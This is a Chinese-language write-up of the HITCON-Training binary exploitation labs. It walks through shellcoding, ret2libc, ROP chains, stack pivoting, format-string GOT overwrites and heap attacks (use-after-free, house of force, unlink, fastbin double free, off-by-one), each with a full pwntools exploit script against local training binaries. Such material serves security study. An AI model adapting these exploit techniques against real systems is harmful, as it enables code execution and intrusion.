HITCON-Training-Writeup
原文鏈接M4x@10.0.0.55
項目地址M4x's github,歡迎star~
更新時間5月16
復習一下二進制基礎,寫寫HITCON-Training的writeup,題目地址:https://github.com/scwuaptx/HITCON-Training
Outline
- Basic Knowledge
- Introduction
- Reverse Engineering
- Static Analysis
- Dynamic Analysis
- Exploitation
- Useful Tool
- IDA PRO
- GDB
- Pwntool
- lab 1 - sysmagic
- Reverse Engineering
- Section
- Compile,linking,assmbler
- Execution
- how program get run
- Segment
- x86 assembly
- Calling convention
- lab 2 - open/read/write
- shellcoding
- Introduction
- Stack Overflow
- Buffer Overflow
- Return to Text/Shellcode
- lab 3 - ret2shellcode
- Protection
- ASLR/DEP/PIE/StackGuard
- Lazy binding
- Return to Library
- lab 4 - ret2lib
- Return Oriented Programming
- ROP
- lab 5 - simple rop
- Using ROP bypass ASLR
- ret2plt
- Stack migration
- lab 6 - migration
- ROP
- Format String Attack
- Format String
- Read from arbitrary memory
- lab 7 - crack
- Write to arbitrary memory
- lab 8 - craxme
- Advanced Trick
- EBP chain
- lab 9 - playfmt
- x64 Binary Exploitation
- x64 assembly
- ROP
- Format string Attack
- Heap exploitation
- Glibc memory allocator overview
- Vulnerablility on heap
- Use after free
- lab 10 - hacknote
- Heap overflow
- house of force
- lab 11 - 1 - bamboobox1
- unlink
- lab 11 - 2 - bamboobox2
- house of force
- Use after free
- Advanced heap exploitation
- Fastbin attack
- lab 12 - babysecretgarden
- Shrink the chunk
- Extend the chunk
- lab 13 - heapcreator
- Unsortbin attack
- lab 14 - magicheap
- Fastbin attack
- C++ Exploitation
- Name Mangling
- Vtable fucntion table
- Vector & String
- New & delete
- Copy constructor & assignment operator
- lab 15 - zoo
Writeup
lab1-sysmagic
一個很簡單的逆向題,看get_flag函數的邏輯逆回來即可,直接逆向的方法就不說了
或者經過觀察,flag的生成與輸入無關,因此可以通過patch或者調試直接獲得flag
patch
修改關鍵判斷即可,patch后保存運行,輸入任意值即可得flag
調試
通過觀察匯編,我們只需使下圖的cmp滿足即可,可以通過gdb調試,在調試過程中手動滿足該條件
直接寫出gdb腳本
lab1 [master●●] cat solve
b *get_flag+389
r
#your input
set $eax=$edx
c
lab1 [master●●]
也可得到flag
同時注意,IDA對字符串的識別出了問題,修復方法可以參考inndy的ROP2
lab2-orw.bin
通過查看prctl的man手冊發現該程序限制了一部分系統調用,根據題目的名字open,read,write以及IDA分析,很明顯是要我們自己寫讀取並打印flag的shellcode了,偷個懶,直接調用shellcraft模塊
lab2 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"
shellcode = sc.pushstr("/home/m4x/HITCON-Training/LAB/lab2/testFlag")
shellcode += sc.open("esp")
# open返回的文件文件描述符存貯在eax寄存器里
shellcode += sc.read("eax", "esp", 0x100)
# open讀取的內容放在棧頂
shellcode += sc.write(1, "esp", 0x100)
io = process("./orw.bin")
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()
lab2 [master●●]
該題與pwnable.tw的orw類似,那道題的writeup很多,因此就不說直接擼匯編的方法了
lab3-ret2sc
很簡單的ret2shellcode,程序沒有開啟NX和canary保護,把shellcode存貯在name這個全局變量上,並ret到該地址即可
lab3 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
context(os = "linux", arch = "i386")
io = process("./ret2sc")
shellcode = asm(shellcraft.execve("/bin/sh"))
io.sendlineafter(":", shellcode)
payload = flat(cyclic(32), 0x804a060)
io.sendlineafter(":", payload)
io.interactive()
io.close()
lab3 [master●●]
需要注意的是,該程序中的read是通過esp尋址的,因此具體的offset可以通過調試查看
lab4-ret2lib
ret2libc,並且程序中已經有了一個可以查看got表中值的函數See_something,直接leak出libcBase,通過one_gadget或者system("/bin/sh")都可以get shell,/bin/sh可以使用libc中的字符串,可以通過read讀入到內存中,也可以使用binary中的字符串
lab4 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
io = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io.sendlineafter(" :", str(elf.got["puts"]))
io.recvuntil(" : ")
libcBase = int(io.recvuntil("\n", drop = True), 16) - libc.symbols["puts"]
success("libcBase -> {:#x}".format(libcBase))
# oneGadget = libcBase + 0x3a9fc
# payload = flat(cyclic(60), oneGadget)
payload = flat(cyclic(60), libcBase + libc.symbols["system"], 0xdeadbeef, next(elf.search("sh\x00")))
io.sendlineafter(" :", payload)
io.interactive()
io.close()
lab4 [master●●]
lab5-simplerop
本來看程序是靜態鏈接的,想通過ROPgadget/ropper等工具生成的ropchain一波帶走,但實際操作時發現read函數只允許讀入100個字符,去除buf到main函數返回地址的偏移為32,我們一共有100 - 32 = 68的長度來構造ropchain,而ropper/ROPgadget等自動生成的ropchain都大於這個長度,這就需要我們精心設計ropchain了,這里偷個懶,優化一下ropper生成的ropchain來縮短長度
ropper --file ./simplerop --chain "execve cmd=/bin/sh"
ROPgadget --binary ./simplerop --ropchain
先看一下ropper生成的ropchain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3068)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
rop += rebase_0(0x000a3068)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3068)
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
print rop
[INFO] rop chain generated!
簡單介紹一下原理,通過一系列pop|ret等gadget,使得eax = 0xb(execve 32位下的系統調用號),ebx -> /bin/sh, ecx = edx = 0,然后通過int 0x80實現系統調用,執行execve("/bin/sh", 0, 0),hackme.inndy上也有一道類似的題目ROP2
而當觀察ropper等工具自動生成的ropchain時,會發現有很多步驟很繁瑣的,可以做出很多優化,給一個優化后的例子
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
pop_edx_ecx_ebx = 0x0806e850
rop = ''
# write /bin/sh\x00 to 0x08048000 + 0x000a3060
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += '//bi'
rop += '/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += '/sh\x00'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
print "[+]write /bin/sh\x00 to 0x08048000 + 0x000a3060"
# rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += p(0x00000000)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
# rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
# rop += rebase_0(0x000a3060)
# rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068)
# set ebx -> /bin/sh\x00, ecx = edx = 0
rop += pack('I', pop_edx_ecx_ebx)
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a3060)
print "[+]set ebx -> /bin/sh\x00, ecx = edx = 0"
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
asset len(rop) <= 100 - 32
注釋都已經寫在代碼里了,主要優化了將/bin/sh\x00讀入以及設置ebx,ecx,edx等寄存器的過程
或者直接return到read函數,將/bin/sh\x00 read到bss/data段,能得到更短的ropchain
最終腳本:
lab5 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from struct import pack
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
pop_edx_ecx_ebx = 0x0806e850
rop = ''
# write /bin/sh\x00 to 0x08048000 + 0x000a3060
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += '//bi'
rop += '/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += '/sh\x00'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
print "[+]write /bin/sh\x00 to 0x08048000 + 0x000a3060"
# rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += p(0x00000000)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
# rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
# rop += rebase_0(0x000a3060)
# rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068)
# set ebx -> /bin/sh\x00, ecx = edx = 0
rop += pack('I', pop_edx_ecx_ebx)
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a3060)
print "[+]set ebx -> /bin/sh\x00, ecx = edx = 0"
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
assert len(rop) <= 100 - 32
io = process("./simplerop")
payload = cyclic(32) + rop
io.sendlineafter(" :", payload)
io.interactive()
io.close()
lab6-migration
棧遷移的問題,可以看出這個題目比起暴力的棧溢出做了兩點限制:
-
每次溢出只有0x40-0x28-0x4=20個字節的長度可以構造ropchain
-
通過
if ( count != 1337 ) exit(1);
限制了我們只能利用一次main函數的溢出(直接控制main返回到exit后的話,程序的棧結構會亂掉)
所以我們就只能通過20個字節的ropchain來進行rop了,關於棧遷移(又稱為stack-pivot)可以看這個slide
我的exp:
lab6 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from time import sleep
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)
elf = ELF("./migration")
libc = elf.libc
# bufAddr = elf.bss()
bufAddr = 0x0804a000
readPlt = elf.plt["read"]
readGot = elf.got["read"]
putsPlt = elf.plt["puts"]
p1ret = 0x0804836d
p3ret = 0x08048569
leaveRet = 0x08048504
io = process("./migration")
# DEBUG()
payload = flat([cyclic(0x28), bufAddr + 0x100, readPlt, leaveRet, 0, bufAddr + 0x100, 0x100])
io.sendafter(" :\n", payload)
sleep(0.1)
payload = flat([bufAddr + 0x600, putsPlt, p1ret, readGot, readPlt, leaveRet, 0, bufAddr + 0x600, 0x100])
io.send(payload)
sleep(0.1)
# print io.recv()
libcBase = u32(io.recv()[: 4]) - libc.sym['read']
success("libcBase -> {:#x}".format(libcBase))
pause()
payload = flat([bufAddr + 0x100, readPlt, p3ret, 0, bufAddr + 0x100, 0x100, libcBase + libc.sym['system'], 0xdeadbeef, bufAddr + 0x100])
io.send(payload)
sleep(0.1)
io.send("$0\0")
sleep(0.1)
io.interactive()
io.close()
稍微解釋一下,先通過主函數中可以控制的20個字節將esp指針劫持到可控的bss段,然后就可以為所欲為了。
關於stack-pivot,pwnable.kr的simple_login是很經典的題目,放上一篇這道題的很不錯的wp
這個還有個問題,sendline會gg,send就可以,在atum大佬的博客上找到了原因
lab7-crack
輸出name時有明顯的格式化字符串漏洞,這個題的思路有很多,可以利用fsb改寫password,或者leak出password,也可以直接通過fsb,hijack puts_got到system("cat flag")處(注意printf實際調用了puts)
lab7 [master●●] cat hijack.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
putsGot = 0x804A01C
bullet = 0x804872B
io = process("./crack")
payload = fmtstr_payload(10, {putsGot: bullet})
io.sendlineafter(" ? ", payload)
io.sendline()
io.interactive()
io.close()
lab7 [master●●] cat overwrite.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
pwdAddr = 0x804A048
payload = fmtstr_payload(10, {pwdAddr: 6})
io = process("./crack")
io.sendlineafter(" ? ", payload)
io.sendlineafter(" :", "6")
io.interactive()
io.close()
lab7 [master●●] cat leak.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
pwdAddr = 0x804A048
payload = p32(pwdAddr) + "|%10$s||"
io = process("./crack")
io.sendlineafter(" ? ", payload)
io.recvuntil("|")
leaked = u32(io.recvuntil("||", drop = True))
io.sendlineafter(" :", str(leaked))
io.interactive()
io.close()
32位的binary可以直接使用pwntools封裝好的fmtstr_payload函數:
lab8-craxme
同樣是32位的fsb,直接用fmtstr_payload就可以解決
lab8 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from sys import argv
context.log_level = "debug"
magicAddr = ELF("./craxme").sym["magic"]
if argv[1] == "1":
payload = fmtstr_payload(7, {magicAddr: 0xda})
else:
payload = fmtstr_payload(7, {magicAddr: 0xfaceb00c})
io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()
io.close()
如果想要自己實現fmtstr_payload功能,可以參考這篇文章
lab9-playfmt
lab10-hacknote
最簡單的一種uaf利用,結構體中有函數指針,通過uaf控制該函數指針指向magic函數即可,uaf的介紹可以看這個slide
exp:
lab10 [master●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
def debug():
raw_input("DEBUG: ")
gdb.attach(io)
io = process("./hacknote")
elf = ELF("./hacknote")
magic_elf = elf.symbols["magic"]
def addNote(size, content):
io.sendafter("choice :", "1")
io.sendafter("size ", str(size))
io.sendafter("Content :", content)
def delNote(idx):
# debug()
io.sendafter("choice :", "2")
io.sendafter("Index :", str(idx))
def printNote(idx):
# debug()
io.sendafter("choice :", "3")
io.sendafter("Index :", str(idx))
def uaf():
addNote(24, "a" * 24)
addNote(24, "b" * 24)
delNote(0)
delNote(1)
# debug()
addNote(8,p32(magic_elf))
printNote(0)
if __name__ == "__main__":
uaf()
io.interactive()
io.close()
說一下怎么修復IDA中的結構體
識別出結構體的具體結構后
shift+F1, insert插入識別出的結果
shift+F9,insert導入我們剛添加的local type
然后我們在結構體變量上y一下,制定其數據類型即可
修復的效果圖如下:
lab11-bamboobox
可以種house of force,也可以使用unlink,先說house of force的方法
house of force
簡單說一下我對hof的理解,如果我們能控制top_chunk的size,那么我們就可以通過控制malloc一些精心設計的大數/負數來實現控制top_chunk的指針,就可以實現任意地址寫的效果,個人感覺,hof的核心思想就在這個force上,瘋狂malloc,簡單粗暴效果明顯
lab11 [master●] cat hof.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from zio import l64
from time import sleep
import sys
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
io = process("./bamboobox")
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)
def add(length, name):
io.sendlineafter(":", "2")
io.sendlineafter(":", str(length))
io.sendafter(":", name)
def change(idx, length, name):
io.sendlineafter(":", "3")
io.sendlineafter(":", str(idx))
io.sendlineafter(":", str(length))
io.sendafter(":", name)
def exit():
io.sendlineafter(":", "5")
if __name__ == "__main__":
add(0x60, cyclic(0x60))
# DEBUG()
change(0, 0x60 + 0x10, cyclic(0x60) + p64(0) + l64(-1))
add(-(0x60 + 0x10) - (0x10 + 0x10) - 0x10, 'aaaa') # -(sizeof(item)) - sizeof(box) - 0x10
add(0x10, p64(ELF("./bamboobox").sym['magic']) * 2)
exit()
io.interactive()
io.close()
unlink
至於unlink,在這個slide中有較大篇幅的介紹,就不在說明原理了
lab11 [master●] cat unlink.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
io = process("./bamboobox")
# process("./bamboobox").libc will assign libc.address but ELF("./bamboobox") won't
# libc = io.libc
elf = ELF("./bamboobox")
libc = elf.libc
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)
def show():
io.sendlineafter(":", "1")
def add(length, name):
io.sendlineafter(":", "2")
io.sendlineafter(":", str(length))
io.sendafter(":", name)
def change(idx, length, name):
io.sendlineafter(":", "3")
io.sendlineafter(":", str(idx))
io.sendlineafter(":", str(length))
io.sendafter(":", name)
def remove(idx):
io.sendlineafter(":", "4")
io.sendlineafter(":", str(idx))
def exit():
io.sendlineafter(":", "5")
if __name__ == "__main__":
add(0x40, '0' * 8)
add(0x80, '1' * 8)
add(0x40, '2' * 8)
ptr = 0x6020c8
fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90])
change(0, 0x80, fakeChunk)
remove(1)
payload = flat([0, 0, 0x40, elf.got['atoi']])
change(0, 0x80, payload)
show()
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) - libc.sym['atoi']
success("libc.address -> {:#x}".format(libc.address))
# libcBase = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) - libc.sym['atoi']
# success("libcBase -> {:#x}".format(libcBase))
pause()
change(0, 0x8, p64(libc.sym['system']))
# change(0, 0x8, p64(libcBase + libc.sym['system']))
io.sendline('$0')
io.interactive()
io.close()
可以看出,通過house of house直接控制函數指針進而控制ip的方法代碼量少了不少,這也提醒我們不要放棄利用任何一個函數指針的機會
lab12-secretgarden
double free的題目,所謂double free,指的就是對同一個allocated chunk free兩次,這樣就可以形成一個類似0 -> 1 -> 0的cycled bin list,這樣當我們malloc出0時,就可以修改bin list中0的fd,如1 -> 0 -> target,這樣只要我們再malloc三次,並通過malloc的檢查,就可以實現malloc到任何地址,進而實現任意地址寫,至於double free的檢查怎么繞過可以看這個slide
lab12 [master●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io, "b *0x4009F2")
def Raise(length, name):
io.sendlineafter(" : ", "1")
io.sendlineafter(" :", str(length))
io.sendafter(" :", name)
io.sendlineafter(" :", "nb")
def remove(idx):
io.sendlineafter(" : ", "3")
io.sendlineafter(":", str(idx))
if __name__ == "__main__":
# io = process("./secretgarden", {"LD_PRELOAD": "./libc-2.23.so"})
io = process("./secretgarden")
Raise(0x50, "000") # 0
Raise(0x50, "111") # 1
remove(0) # 0
# pause()
remove(1) # 1 -> 0
remove(0) # 0 -> 1 -> 0
magic = ELF("./secretgarden").sym["magic"]
fakeChunk = 0x601ffa
payload = cyclic(6) + p64(0) + p64(magic) * 2
Raise(0x50, p64(fakeChunk)) # 0
Raise(0x50, "111") # 1
Raise(0x50, "000")
# DEBUG()
Raise(0x50, payload)
io.interactive()
io.close()
lab13-heapcreator
在edit_heap中有一個故意留下來的off-by-one,並且不是off-by-one null byte,因此可以使用extended chunk這種技巧造成overlapping chunk,進而通過將*content覆寫為某函數的got(如free/atoi)就可以leak出libc的地址,然后將改寫為system的地址,控制參數即可get shell
關於extended chunk的介紹可以看這個slide
lab13 [master●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
context.log_level = "debug"
def create(size, content):
io.sendlineafter(" :", "1")
io.sendlineafter(" : ", str(size))
io.sendlineafter(":", content)
def edit(idx, content):
io.sendlineafter(" :", "2")
io.sendlineafter(" :", str(idx))
io.sendlineafter(" : ", content)
def show(idx):
io.sendlineafter(" :", "3")
io.sendlineafter(" :", str(idx))
def delete(idx):
io.sendlineafter(" :", "4")
io.sendlineafter(" :", str(idx))
if __name__ == "__main__":
io = process("./heapcreator", {"LD_LOADPRE": "/lib/x86_64-linux-gnu/libc.so.6"})
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
create(0x18, '0000') # 0
create(0x10, '1111') # 1
payload = "/bin/sh\0" + cyclic(0x10) + p8(0x41)
edit(0, payload) # overwrite 1
delete(1) # overlapping chunk
freeGot = 0x0000000000602018
payload = p64(0) * 4 + p64(0x30) + p64(freeGot)
create(0x30, payload)
show(1)
libcBase = u64(io.recvuntil("\x7f")[-6: ].ljust(8, "\x00")) - libc.sym["free"]
success("libcBase -> {:#x}".format(libcBase))
# pause()
edit(1, p64(libcBase + libc.sym["system"]))
delete(0)
io.interactive()
io.close()
lab14-magicheap
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from time import sleep
import sys
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
io = process("./magicheap")
elf = ELF("./magicheap")
# libc = ELF("")
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)
def create(size, content, attack = False):
io.sendlineafter("choice :", "1")
io.sendlineafter(" : ", str(size))
io.sendlineafter(":", content)
def edit(idx, size, content):
io.sendlineafter("choice :", "2")
io.sendlineafter(" :", str(idx))
io.sendlineafter(" : ", str(size))
io.sendlineafter(" : ", content)
def delete(idx):
io.sendlineafter("choice :", "3")
io.sendlineafter(" :", str(idx))
if __name__ == "__main__":
create(0x10, 'aaaa')
create(0x80, 'bbbb')
create(0x10, 'cccc')
delete(1)
payload = cyclic(0x10) + p64(0) + p64(0x91) + p64(0) + p64(elf.symbols["magic"] - 0x10)
edit(0, 0x10 + 0x20, payload)
create(0x80, 'dddd')
io.sendlineafter("choice :", "4869")
io.interactive()
io.close()